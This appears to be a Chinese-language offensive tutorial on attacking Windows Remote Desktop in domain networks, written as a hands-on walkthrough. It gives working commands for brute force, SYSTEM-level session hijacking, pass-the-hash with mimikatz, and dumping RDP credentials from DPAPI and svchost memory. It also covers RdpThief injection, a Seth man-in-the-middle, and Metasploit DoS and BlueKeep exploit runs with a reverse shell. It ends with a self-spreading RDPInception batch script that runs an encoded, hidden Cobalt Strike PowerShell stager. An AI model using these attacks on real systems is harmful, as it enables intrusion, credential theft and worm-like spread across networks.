域渗透之那些显为人知的RDP漏洞
目录
使用 SharpRDPThief 实现 HOOK RDP 凭据
前言
远程桌面对了解内网渗透的人来说可能再熟悉不过了。在渗透测试中,拿下一台主机后有时候会选择开 3389 进远程桌面查看一下对方主机内有无一些有价值的东西可以利用。但是远程桌面的利用不仅如此,本节我们便来初步汇总一下远程桌面在内网渗透中的各种利用姿势。
RDP 协议
RDP,Remote Desktop Protocol,远程桌面协议,该协议是对国际电信联盟发布的一个国际标准的多通道会议协议T.120 的一个扩展。远程桌面协议让用户(客户端或称“本地电脑”)连上提供微软终端机服务的电脑(服务器端或称“远程电脑”)。大部分的 Windows、Linux、FreeBSD、Mac OS X 都有相应的客户端。远程桌面协议在服务端默认监听 TCP 3389 端口的数据。远程桌面协议为用户提供了通过网络连接远程登录到另一台计算机的图形界面。
RDP 服务的确定和启动
RDP 服务的确定
注册表查询
通过以下命令查询注册表来查看 RDP 服务是否开启:
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections # 查看RDP服务是否开启: 1关闭, 0开启
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\ WinStations\RDP-Tcp" /v PortNumber # 查看 RDP 服务的端口
进程查看
通过以下命令来查看是否有 RDP 服务的进程:
tasklist /svc | find "TermService" # 找到对应服务进程的 PID
netstat -ano | find "3389" # 找到进程对应的端口号
RDP 服务的启动
如果发现 3389 并没有开启,我们使用以下方式开启它。
修改注册表启动
注:此操作首先要获得管理员权限才可进行,否则会报错。
先通过修改注册表来设置一下允许远程桌面连接:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
然后可以再配置一下防火墙,设置为允许远程桌面连接,命令:
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
通过 Metasploit 模块启动
拿到目标主机的 meterpreter 后,如果我们想登陆目标主机的远程桌面,我们可以使用 post/windows/manage/enable_rdp 模块对目标主机打开远程登录完成上述配置:
use post/windows/manage/enable_rdp
set session 1
exploit
RDP 服务的连接
开启目标主机的远程桌面后,我们便可以对目标主机进行连接了:
Linux 系统上的可以使用 rdesktop:
redesktop 192.168.0.106 # redesktop IP
Windows系统上可以使用 mstsc.exe
这里特别要注意一下,有时候,仅开启了远程桌面还不行,在连接时可能出现以下报错:
这时就需要关闭鉴权模式,我们采用如下命令,这里0代表关闭,1代表开启:
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0
即取消 “仅允许运行使用网络界别身份验证的远程桌面的计算机连接” 这一安全设置。
此时就可以正常连接了。
对 RDP 登录进行暴力破解
在实战中,攻击者可以借助 Nmap 来扫描目标主机 3389 端口是否开启,如果目标主机开启了 3389 端口,那我们便可以对目标主机的远程桌面登录口令进行暴力猜解。
下面我们通过 Hydra 工具来展示对 RDP 进行爆破:
Hydra -v -f -l whoamianony\administrator -P /root/wordlists.txt rdp://192.168.93.30
如上图显示,我们成功爆破出密码。
如上图所示,成功获取到目标主机 administrator 的登录口令,使用此凭据攻击者可以登录远程桌面服务。
RDP 劫持实现未授权登录
对于开启远程桌面服务的 Windows 系统,当有多个用户登录该系统时,会产生多个会话,如下图:
其中,管理员用户 Administrator 为本地登录,用户 bunny 为通过远程桌面服务(RDP)连接 3389 端口的远程桌面登录。接下来,如果用户 Administrator 想要切换至用户 bunny 的远程桌面,可通过右键—> 连接(Connect)进行连接,接着输入密码即可切换到 bunny 用户:
点击确定后,如下图所示,成功切换到了 bunny 用户的远程桌面:
而且,在 Windows 中有一个 tscon 命令,是命令行下使用的工具,也可以实现与上述相同的功能。
首先执行如下命令获取用户对应的会话 ID:
query user
可以看到用户 bunny 对应的会话 ID 为 2,然后通过执行 tscon 命令即可成功切换至用户 bunny 的远程桌面,命令如下:
tscon 2 /PASSWORD:Bunny2021 #/PASSWORD:密码
如上图,我们成功切换到了Bunny用户的界面。
可见,tscon 命令提供了一个切换用户会话的功能,并且,在正常情况下,切换会话时需要提供目标用户的登录密码。但这并不能完全确保会话安全,攻击者通过特殊的利用方法完全能够绕过验证,不输入密码即可切换到目标会话,从而实现目标用户的未授权登录。
而这里所讲的特殊的利用方法便是在 SYSTEM 权限下直接执行 tscon 会话切换命令:
tscon ID
此时攻击者可以在不提供其他用户登录凭据的情况下自由切换会话桌面,实现劫持其他用户的 RDP 会话。
RDP 会话劫持在特定情况下可以大显身手,比如对于较新的 Windows 系统,默认情况下是无法通过 Mimikatz 导出用户明文口令的,此时我们通过常规方法无法切换至另一用户的桌面,那么我们便可以借助上文提到的方法,先提权至 SYSTEM 权限,再劫持目标用户的 RDP 并切换过去。
特别注意的是,即使远程连接的用户关闭了远程连接窗口,也不会劫持该会话,只是在后台显示 “已断开连接”(Disconnected):
此时,我们仍能在 SYSTEM 权限下通过tscon
实现未授权连接。
高权限用户劫持低权限用户的 RDP
高权限用户劫持低权限用户的 RDP 会话利用起来比较简单,由于具有管理员权限,可以直接通过创建服务等方式获取 SYSTEM 权限。
创建劫持用户会话的服务:
sc create rdp binpath= "cmd.exe /k tscon 2 /dest:console"
sc start rdp
执行sc start rdp
后,我们创建的劫持会话的服务将会启动,由于 Windows 是以 SYSTEM 权限运行服务的,所以我们tscon 2
命令也会以 SYSTEM 权限运行,此时便可以在不提供目标用户密码的情况下成功劫持目标用户的会话:
低权限用户劫持高权限用户的 RDP
低权限用户劫持高权限用户的 RDP 会话利用起来没有前者那么简单,因为权限太低,所以无法执行创建服务,执行高权限的命令。所以如果低权限用户想要劫持高权限用户的 RDP 的话需要想办法提权,先将自己的权限提升至 SYSTEM。
实验背景如下:
Windows Server 2012 系统的服务器,其本地登录着一个普通域用户Bunny,我们通过某种方式获得了这个 bunny 用户的登录密码,并使用这个 bunny 用户成功进行远程登录:
此时,我们在后台发现Administrator用户也在远程登录着这台主机:
首先使用query user
命令查看其会话 ID 为 1。接下来我们尝试劫持这个管理员用户的远程会话。
首先使目标主机上线一个 bunny 用户权限的 MSF,然后通过各种系统漏洞获得了目标机的 System 权限:
然后进入 shell 中执行 tscon 命令进行劫持即可:
如上图所示,我们成功劫持并切换到了 Administrator 用户的远程桌面。
利用哈希传递登录 RDP 远程桌面
特别注意
在工作组环境中:
Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
Windows Vista 之后的机器,只能是administrator用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问。
在域环境中:
只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器。
Windows Server 2012 R2 采用了新版的 RDP 远程桌面协议,在这个新版协议中有一个 ”受限管理员” (Restricted Admin)的特性。相信渗透测试人员和系统管理员都会对这个特性有足够的兴趣,因为通过这个特性,我们可以实现哈希传递攻击并成功登录远程桌面。
在抓取到的 Hash 无法破解的情况下,如果目标主机开启了 "Restricted Admin Mode" 也行,那么我们便可以使用 Hash 来直接实现 RDP 远程登录。 Restricted Admin Mode 在 Windows 8.1 和 Windows Server 2012 R2 上默认开启。
我们在渗透过程中可以通过修改注册表的方式开启目标主机的 Restricted Admin Mode,值为 0 代表开启,值为 1 代表关闭(这一步需要管理员权限,否则会提示失败:
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin" # 查看是否成功开启
如上图所示,成功在目标主机开启了 Restricted Admin Mode。
这里前期通过各种方法我们获得了Administrator用户的哈希值,然后再攻击机上使用 Mimikatz 进行哈希传递,大致原理就是哈希传递成功后执行mstsc.exe /restrictedadmin
来打开:
privilege::debug
sekurlsa::pth /user:administrator /domain:whoamianony.org /ntlm:ab89b1295e69d353dd7614c7a3a80cec "/run:mstsc.exe /restrictedadmin"
如上图,哈希传递攻击成功。
RDP 远程桌面中间人攻击
中间人攻击通常会导致凭据捕获。同样的,在对 RDP 会话进行中间人攻击,攻击者可以获得一个登录用户的明文密码,用于后期的横向移动。当 RDP 爆破走不通时,我们不妨尝试一下中间人。
Seth是一个用 Python 和 Bash 编写的 RDP 中间人攻击自动化工具,通过尝试降级连接用以提取明文凭证来实现 MitM RDP 连接,而不管网络级别的身份验证(NLA)是否启用。
使用方法如下:
./seth.sh <INTERFACE> <ATTACKER_IP> <VICTIM_IP> <GATEWAY_IP|HOST_IP> [<COMMAND>]
INTERFACE:网卡
ATTACKER IP:中间人 IP
VICTIM IP:连接者 IP
GATEWAY IP|HOST IP:被连接的远程主机 IP
COMMAND:启动时执行的命令
具体渗透测试过程如下:
查看渗透测试Attack主机,已经配置好并对接口和相关主机进行监听,如果成功,将执行弹出calc计算器程序。
root@2cats:~/Seth# ./seth.sh eth0 192.168.41.{175,156,157} calc
#192.168.41.175是中间人也就是攻击者,在本文的实验环境中就是kali机,192.168.41.156是连接者也就是客户端,192.168.41.157也就是我们要远程连接的服务器
原本两台主机的连接过程是这样的:
但是我们执行了中间人攻击后,就变成这样了:
这样客户端进行远程登陆时流量就要经过我们的中间人,就被中间人劫持了。
实验过程:
在远程PC客户端进行RDP连接操作:
提示弹出用户(administrator)和密码进行认证操作。
下面显示已经成功进行RDP操作,并且连接成功,且弹出计算器程序。
我们进一步测试,在远程桌面服务器运行cmd命令后,执行了ipconfig查看本机网络的命令操作。
下面显示成功的截获PC客户端RDP的连接信息,并克隆最初始目标主机的x509证书。
远程目标主机的用户名和密码信息已经获取,同时记录的用户键盘的操作命令:
获取 RDP 远程桌面连接记录
在渗透测试中,远程桌面连接的历史记录不可忽视,根据历史记录往往能定位出关键的服务器。接下来我们就介绍一下如何导出 RDP 连接的历史记录。
获取 RDP 远程桌面连接记录可以通过枚举注册表完成,但是如果想要获得所有用户的历史记录,需要逐个获得用户的 NTUSER.DAT 文件,通过注册表加载配置单元,导入用户配置信息,再进行枚举才能够实现。
导出当前用户的历史记录
可以通过枚举下面的注册表键值查看当前用户的历史记录:
HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers
如下图所示,每个注册表项保存连接的服务器地址,其中的键值UsernameHint
对应登录用户名:
也可以通过 PowerShell 命令行来实现,首先通过以下命令枚举指定注册表项下所有的的子项,即当前用户所连接过的所有的主机名:
dir "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" -Name
然后使用以下命令查询指定注册表项的注册表键值,即查看连接所使用的用户名:
(Get-ItemProperty -Path "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\192.168.93.30").UsernameHint
下面给出一个写好的枚举脚本:
$RegPath = "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\"
$QueryPath = dir $RegPath -Name
foreach($Name in $QueryPath)
{
Try
{
$User = (Get-ItemProperty -Path $RegPath$Name -ErrorAction Stop | Out-Null).UsernameHint
Write-Host "Server:"$Name
Write-Host "User:"$User"`n"
}
Catch
{
Write-Host "No RDP Connections History"
}
}
导出已登录用户的历史记录
登录用户的注册表信息会同步保存在HKEY_USERS\<SID>
目录下,<SID>
要对应每个用户的 SID:
可以看到,当前系统登录三个用户,分别有三个子项。我们可以通过枚举注册表键值HKEY_USERS\SID\Software\Microsoft\Terminal Server Client\Servers
就能够获得已登录用户的远程桌面连接历史记录:
最后给出一个写好的枚举脚本:
$AllUser = Get-WmiObject -Class Win32_UserAccount
foreach($User in $AllUser)
{
$RegPath = "Registry::HKEY_USERS\"+$User.SID+"\Software\Microsoft\Terminal Server Client\Servers\"
Write-Host "User:"$User.Name
Write-Host "SID:"$User.SID
Write-Host "Status:"$User.Status
Try
{
$QueryPath = dir $RegPath -Name -ErrorAction Stop
}
Catch
{
Write-Host "No RDP Connections History"
Write-Host "----------------------------------"
continue
}
foreach($Name in $QueryPath)
{
Try
{
$User = (Get-ItemProperty -Path $RegPath$Name -ErrorAction Stop).UsernameHint
Write-Host "Server:"$Name
Write-Host "User:"$User
}
Catch
{
Write-Host "No RDP Connections History"
}
}
Write-Host "----------------------------------"
}
导出所有用户的历史记录
前面刚说了,对于未登录用户,无法直接获得注册表配置信息,那有什么解决办法?其实这里可以通过加载配置单元的方式来解决,即打开用户的 NTUSER.DAT 文件,加载配置单元导入用户配置信息,然后进行枚举。
选中 HKEY_USERS 项,“文件” —> “加载配置单元”,如下图:
选择打开用户的 NTUSER.DAT 文件,路径为C:\Documents and Settings\用户名\NTUSER.DAT
,这里以当前未登录的 moretz 用户为例:
接着指定一个项名称,即可在 HKEY_USERS 下读取该用户的注册表配置信息,如下图所示:
然后按照之前的路径进行枚举即可。
此外,也可以通过命令行实现加载配置单元的实例:
Reg load HKEY_USERS\testmoretz C:\Documents and Settings\moretz\NTUSER.DAT
最后给出一个写的好的枚举脚本:GitHub - 3gstudent/List-RDP-Connections-History: Use powershell to list the RDP Connections History of logged-in users or all users
获取 RDP 远程桌面连接凭据
一般的,就抓取凭据方面而言,很多人专注于从 lsass.exe 进程里面窃取凭据,但是 lsass.exe 通常来说已经是被 EDR 产品重点监控的进程了,因此我们自然而然的研究方向便是找到可能不太严格审查的替代方案。这就引出了我们下文中对 RDP 凭据的收集。与 lsass.exe 一样,RDP 协议相关的进程例如 svchost.exe、mstsc.exe 等也在收集凭证的范围内,并且从这些进程中收集凭据不需要管理员特权。
当我们发现目标主机中存在远程桌面连接的历史记录时,我们可以根据历史记录找到其连接过的远程桌面,并确定出关键的服务器。但光找到关键的服务器那能够啊!我们最好能够导出连接远程桌面的连接凭据,获取服务器密码。下面我们便来简单介绍几个可以导出远程桌面连接凭据的方法。
在凭据管理器中查看 Windows 凭据
对于那些经常使用 RDP 远程桌面连接远程服务器的用户来说,如果他不想对远程主机进行多次身份验证的话,他们可能会保存连接的详细信息,以便进行快速的身份验证。而这些凭据使用数据保护 API 以加密的形式存储在 Windows 的凭据管理器中。
这些 Windows 凭据保存在磁盘上的以下位置中:
C:\Users\<用户名>\AppData\Local\Microsoft\Credentials
我们可以用如下命令查看当前主机上保存的连接凭据:
cmdkey /list # 查看当前保存的凭据
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\* # 遍历 Credentials 目录下保存的凭据
如上图可以看到,Credentials 目录下保存有两个历史连接凭据,但里面的凭据是加密的,要想查看还需要使用 Mimikatz。
使用 Mimikatz 获得RDP登录凭据
privilege::debug
dpapi::cred /in:C:\Users\bunny\AppData\Local\Microsoft\Credentials\4D8F543ACD10B143849414A5085FE4E6
# mimikatz.exe "privilege::debug" "dpapi::cred /in:C:\Users\<用户名>\AppData\Local\Microsoft\Credentials\<凭据文件>"
如上图,得到的 pbData 就是凭据的加密数据,guidMasterKey 是凭据的 GUID。
然后将上图中得到的 guidMasterKey 值{b3d8987a-42dd-4c6b-9c7f-a37d93e722b9}
,我们把它记录下来并执行以下命令,找到与 guidMasterKey 也就是下图执行结果中的 GUID 相关联的 MasterKey:
privilege::debug
sekurlsa::dpapi
# mimikatz.exe "privilege::debug" "sekurlsa::dpapi"
图中的MasterKey值为:53c01b9679dc0e55b91584781fe13eb1c5faa2694fc693f98838fedd74d3ad371754b9d9d841769882c8e14c965e4ae40a45dce88101cf5831fc4d694cc38e81
。这个 MasterKey 就是加密凭据所使用的密钥。
最后执行以下命令,使用上面找到的 MasterKey 值破解指定的凭据文件 4D8F543ACD10B143849414A5085FE4E6:
mimikatz.exe "dpapi::cred /in:C:\Users\bunny\AppData\Local\Microsoft\Credentials\4D8F543ACD10B143849414A5085FE4E6 /masterkey:53c01b9679dc0e55b91584781fe13eb1c5faa2694fc693f98838fedd74d3ad371754b9d9d841769882c8e14c965e4ae40a45dce88101cf5831fc4d694cc38e81"
如下图所示,成功破解得到了明文凭据:
从 svchost 中获取 RDP 连接凭据
svchost.exe 是一个 Windows 系统进程,svchost.exe 是从动态链接库 (DLL) 中运行的服务的通用主机进程名称。这个程序对系统的正常运行是非常重要,可以承载多个服务来防止资源消耗。许多服务通过注入到该程序中启动,所以当我们查看进程列表时会有多个该文件的进程。
当用户在目标主机上开启运行 RDP 远程桌面并通过远程桌面连接进行身份验证时,终端服务会由 svchost 进程托管。但是基于 WIndows 身份验证机制的工作原理,RDP 连接凭据是以纯文本形式存储在 svchost 进程的内存中的。所以我们可以通过转储 svchost 进程的内存来获取 RDP 连接凭据。
由于查看进程列表往往会有多个 svchost 进程,所以我们要先识别是哪个进程托管了终端服务的连接。执行如下命令查询终端服务:
sc queryex termservice
可以看到终端服务的 PID 为 1544。
查询终端服务的网络连接情况:
netstat -nob | Select-String TermService -Context 1
PID 还是 1544,现在我们便可以确定,PID 为 1544 的进程托管了终端服务的连接。
然后我们便可以通过 procdump.exe 将 PID 为 1544 的进程内存转储为 .dmp 了:
procdump64.exe -ma 1544 -accepteula C:\Users\Administrator\Desktop
转储成功后生成 svchost.exe_210714_012426.dmp 文件,大约 137 MB,RDP 的连接凭据就以明文的形式存储在这个文件里面,如下我们可以通过 strings 命令将明文凭据检索出来,密码位于用户名的下方:
strings -el svchost.exe_210*.dmp | grep Whoami2021 -C3
使用 PowerShell 导出
Invoke-WCMDump.ps1 这个 PowerShell 脚本可以在 Windows 凭据管理器中枚举 Windows 凭据,然后提取有关每个凭据的可用信息,且无须管理员权限。
使用方法如下:
PS> Import-Module .\Invoke-WCMDump.ps1
PS> Invoke-WCMDump
Username : testusername
Password : P@ssw0rd!
Target : TestApplication
Description :
LastWriteTime : 12/9/2017 4:46:50 PM
LastWriteTimeUtc : 12/9/2017 9:46:50 PM
Type : Generic # “通用” 类型凭证
PersistenceType : Enterprise
PS>
但是该脚本只能为 “通用” 类型凭证检索密码,如果是 “域” 类型凭证的话是检索不出密码的:
NetPass抓取
工具下载地址:Recover lost Windows 10/7/8/Vista/XP network passwords (Credentials file)
如果直接远程桌面登上去的话,可以使用 netpass.exe 工具直接查看
使用 RdpThief 实现 HOOK RDP 凭据
项目地址:GitHub - 0x09AL/RdpThief: Extracting Clear Text Passwords from mstsc.exe using API Hooking.
使用 Cobalt Strike 加载 RdpThief
首先下载 RdpThief 后,在项目里面有一个 .cna 文件,可以直接由 Cobalt Strike 进行加载为插件使用:
加载成功后便有了以下三个支持的命令:
rdpthief_enable:启动心跳检测,每 5 秒搜索一次 mstsc.exe 进程并注入 RdpThief_x64.tmp 中的 Shellcode。
rdpthief_disable:停止心跳检测,但该命令不会卸载注入的 Shellcode
rdpthief_dump:显示抓取的凭据,默认读取路径为
%temp%\data.bin
首先执行rdpthief_enable
命令启动心跳检测:
假设此时管理员在目标主机上使用 mstsc 远程桌面登录其他服务器并输入了密码:
然后执行rdpthief_disable
停止心跳检测,最后执行rdpthief_dump
即可成功显示抓取到的结果:
抓出来的凭据存储在%temp%\data.bin
目录下
直接注入 RdpThief.dll
首先需要使用 Visual Studio 导入 RdpThief 的工程文件,编译生成 RdpThief.dll。然后查看正在运行的 mstsc.exe 进程:
tasklist /v | findstr "mstsc"
得到 mstsc.exe 进程的 PID 为 1204。
然后使用 PowerSploit 中的 Invoke-DllInjection.ps1 脚本将 RdpThief.dll 注入到 mstsc.exe 进程中去即可:
Import-Module .\Invoke-DllInjection.ps1 Invoke-DllInjection -ProcessID 1204 -Dll RdpThief.dll
当管理员使用远程桌面并输入密码时便会抓取到 RDP 凭据并保存到%temp%\data.bin
中。
我在测试的时候发现该工具有两个条件,即目标主机上必须存在 mstsc.exe 进程,而且必须是管理员手动输入凭据,如果管理员直接保存了凭据的话是抓不到的。
使用 SharpRDPThief 实现 HOOK RDP 凭据
项目地址:https://github.com/passthehashbrowns/SharpRDPThief
如下,直接运行 SharpRDPThief.exe,然后模拟管理员使用远程桌面登录某台服务器,输入密码后 SharpRDPThief 成功抓取到了 RDP 登录凭据:
与远程桌面相关的漏洞
对 3389 端口的 DOS 攻击
这一利用借助的是 2012 年爆出来的 MS12-020 远程桌面协议 RDP 远程代码执行漏洞(CVE-2012-0002)。该漏洞是由于 Windows 在处理某些对象时存在错误,可通过特制的 RDP 报文访问未初始化或已经删除的对象,导致任意代码执行,然后控制系统。下面我们使用 Windows 7 系统进行复现。
在 Metasploit 中有两个该漏洞的利用模块,第一个为利用模块,第二个为检测模块:
目标机存在漏洞,然后尝试使用第一个模块进行攻击,这将对目标系统发起 DOS 攻击,最终导致目标系统蓝屏:
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
set rhosts 192.168.93.20
set rport 3389
exploit
漏洞原理:目标系统是由于某些问题导致系统正在关闭。DoS 攻击执行者通常攻击托管在诸如银行或信用卡支付网关等高端 Web 服务器上的站点或服务,通过暂时或无限期地中断连接 Internet 的主机服务,使其目标用户无法使用机器或网络资源。
CVE-2019-0708
2019 年 5 月 14 日微软官方发布安全补丁,修复了 Windows 远程桌面服务的远程代码执行漏洞(CVE-2019-0708),该高危漏洞利用方式是通过远程桌面端口 3389,RDP 协议进行攻击的。
此漏洞是预身份验证且无需用户交互,这就意味着这个漏洞可以通过网络蠕虫的方式被利用。利用此漏洞的任何恶意软件都可能从被感染的计算机传播到其他易受攻击的计算机,其方式与 2017 年 WannaCry 恶意软件的传播方式类似。
它影响了某些旧版本的 Windows 系统,包括:
Windows 7 foR 32-bit Systems Service Pack 1
Windows 7 for x64-based Systems Service Pack 1
Windows Server 2008 foR 32-bit Systems Service Pack 2
Windows Server 2008 foR 32-bit Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for Itanium-Based Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows XP SP3 x86
Windows XP Professional x64 Edition SP2
Windows XP Embedded SP3 x86
Windows Server 2003 SP2 x86
Windows Server 2003 x64 Edition SP2
在 Metasploit 中已经有了该漏洞的利用模块:
第一个模块用来检测目标机是否存在漏洞,第二个模块用来进行攻击。设置好参数直接利用即可:
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set payload windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.93.20
set lhost 192.168.93.128
set rdp_client_ip 192.168.93.20
unset RDP_CLIENT_NAM
set target 2 # 这里的 2 代表目标机为虚拟机环境
exploit
如下图所示,攻击成功并得到了 meterpreter:
基于文件传输的 RDP 反向攻击
如今,在很多组织机构内部,针对 DMZ 或隔离网络区域内的计算机设备,为了限制其它接入端口风险,通常只允许这些设备开启 3389 端口,使用远程桌面来进行管理维护,这样,所有正向攻击手段都无法使用。那这样真的就万无一失了吗?当然不是。本节我们就来研究如何通过 RDP 反向攻击的方式针对这种受限网络设备完成渗透测试。
RDP 反向攻击的姿势有不少,本节我们主要针对最简单的一个姿势来进行进行讲解,即通过挂载盘符进行 RDP 反向攻击。其基本原理就是Windows 远程桌面客户端 mstsc 有一个盘符挂载选项,如果勾选了该选项,会开启磁盘共享功能,相当于将你的磁盘再远程主机上共享,你可以通过类似于 SMB 文件传输命令那样将位于远程主机上的文件复制到客户端主机上。如果我们通过相应的设置,在客户端连接远程主机的一瞬间,将远程主机上早已准备好的木马程序复制到客户端主机的启动项中,那么当客户端主机下一次启动时便会执行该木程序,客户端主机便可以成功上线。这种攻击方法又被称作 RDPInception。
Mstsc 挂载盘符
这里利用了Windows 远程桌面客户端 mstsc.exe 连接时的一个选项:
连接目标主机时,如果像上图那样在 mstsc.exe 中开启驱动器共享的话,那么客户端进行远程登陆后,在远程远程主机的 “网络” 中便可以发现一个名为 “tsclient” 的主机:
其实就是开启磁盘共享后,远程主机为连接他的客户端主机分配的名称。然后通过以下格式的命令便可以在远程主机上面访问连接他的客户端主机了:
dir \\tsclient\c # 列出连接远程主机的本机 C 盘目录
copy file \\tsclient\c # 将文件复制到连接远程主机的本机中
注:这里如果我们通过客户端连接远程主机,并且远程主机挂载了盘符,那么这里的tsclient就是指的本机(客户端)了,那么 dir \\tsclient\c 执行的就是列出本机(客户端)的c盘了。
如下图,我们使用 “tsclient” 列出了客户端主机上的 C 盘目录:
如下图所示,我们使用 “tsclient” 将远程主机上的 test.txt 成功复制到了客户端主机:
这种访问方式类似于使用 SMB 进行文件传输,虽然本质上都是 SMB 协议,但是使用 tsclient 无需进行身份认证。
但要注意的是,只有通过远程登陆的用户才可以在远程主机中访问 tsclient,其他在远程主机上本地登录的用户是无论如何也无法访问 tsclient 的。
RDPInception
实验环境:
设攻击者已经通过各种手段拿下了 Windows Server 2012 这台服务器,但是目标网络环境为了限制其它接入端口风险,只允许Windows Server 2012 开启 3389 端口,由位于更深一层网络中的管理员主机 Windows 10 使用远程桌面来进行管理维护,那我们该如何通过 Windows Server 2012 进行横向渗透并拿下这台 Windows 10 管理员主机呢?
我们的思路是,在远程主机的启动项中写入一个 .bat 脚本(run.bat),当一个客户端用户通过远程桌面连接到这个远程主机时,在登陆之后会立即执行这个启动项中的 run.bat 脚本。start.bat 脚本执行后会首先遍历 tsclient 共享,发现 tsclient 共享后就会将自己复制到 tsclient 也就是连接远程主机的客户端主机上的启动项中,然后执行一个 Cobalt Strike 生成的 PowerShell Stager。然后,当客户端主机重启或者注销重新登录后就会再次进行上述过程,同时会使客户端主机上线。下面我们演示攻击过程。
首先我们简单编写一个脚本文件,并且保存为run.bat:
# 关闭echo响应功能
@echo off
# 设置一个短时计数器,以确保tsclient进程被完全加载
timeout 1 >nul 2>&1
# 如果当前远程主机上可以访问到 tsclient, 则可以成功将 run.bat 通过 tsclient 复制到客户端主机上
copy "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\run.bat" "\\tsclient\C\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
# 最后执行 Cobalt Strike 生成的 PowerShell Stager
powershell.exe -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBMAFYAVwBhADIALwBpAFMAQgBiADkAbgBQAHcASwBmADIAZwBKAFUAQgBNAFcAYgBDAEQASgBqAEYAbw......AAgAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAkAHMALABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAOwA=
将编写好的 run.bat 放在远程主机 Windows Server 2012 的系统启动项目录中:
Windows Server 2012 的系统启动项目录路径为:
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
然后将远程主机 Windows Server 2012 注销,等待客户端主机 Windows 10 的连接。假设此时管理员好像通过远程桌面去管理这个 Windows Server 2012,当他连接上远程桌面时,位于 Windows Server 2012 启动项中的 run.bat 就会成功执行,如下所示:
如下图所示,成功将 run.bat 感染到了客户端主机 Windows 10 的启动项中:
当管理员的这台客户端主机重启或者注销重新登录之后,run.bat 里面的 PowerShell Stager 就会执行,Windows 10 就会上线:
RDPInception 之无线套娃
在上一个情景中,攻击者通成功以 Windows Server 2012 这台服务器为据点向连接他的客户端主机发起了 RDP 反向攻击,最终拿下了客户端主机 Windows 10。这台 Windows Server 2012 作为一个 “传染源”,只要连接他的客户端开启了盘符挂载功能就能上钩,并将 run.bat 传染到客户端主机的启动项中。那么假设这样一种情况:
管理员位于更深一层的网络中,其使用自己的笔记本电脑 Windows 7 先通过远程桌面登陆了 Windows 10,然后又通过 Windows 10 登陆了 Windows Server 2012 的远程桌面。
不出预料,在 Windows 10 连接上 Windows Server 2012 时,run.bat 便会扩散到 Windows 10 的启动项中,当 Windows 10 注销后,管理员再次使用他的 Windows 7 连接 Windows 10 的远程桌面,位于 Windows 10 上的 run.bat 便又会传染到 Windows 7 的启动项中:
当管理员重启或者注销重新登录自己的 Windows 7 后,为于 Windows 7 启动项中的 run.bat 便会执行,Windows 7 便会上线:
根据这样一个思路如果我们的Windows7在被其他机器远程登录那么不就是相当于俄罗斯套娃了吗?不过这样的情况得有一个前提条件下才可以进行,那就是远程连接的主机都打开了盘符挂载这么一个选项。
概念性验证 POC
ActiveBreach 团队的 Vincent Yiu 根据这种攻击思路开发了一个概念性验证 PoC 脚本,项目地址:https://github.com/mdsecactivebreach/RDPInception。脚本写的很简单,仅供验证类的测试使用:
# 关闭echo响应功能
@echo off
echo Updating Windows ...
# 关闭echo响应功能
@echo off
# 设置一个短时计数器,以确保tsclient进程被完全加载
timeout 1 >nul 2>&1
# 在RDP接入的客户端设备以及被控远程主机上创建临时目录
mkdir \\tsclient\c\temp >nul 2>&1
mkdir C:\temp >nul 2>&1
# 将我们的批处理文件 run.bat 拷贝到以上两个目录中
copy run.bat C:\temp >nul 2>&1
copy run.bat \\tsclient\c\temp >nul 2>&1
# 确保在临时目录下不存在txt文件
del /q %TEMP%\temp_00.txt >nul 2>&1
# 在 RDP 客户主机以及被控远程主机上识别出所有系统启动目录
set dirs=dir /a:d /b /s C:\users\*Startup*
set dirs2=dir /a:d /b /s \\tsclient\c\users\*startup*
echo|%dirs%|findstr /i "Microsoft\Windows\Start Menu\Programs\Startup">>"%TEMP%\temp_00.txt"
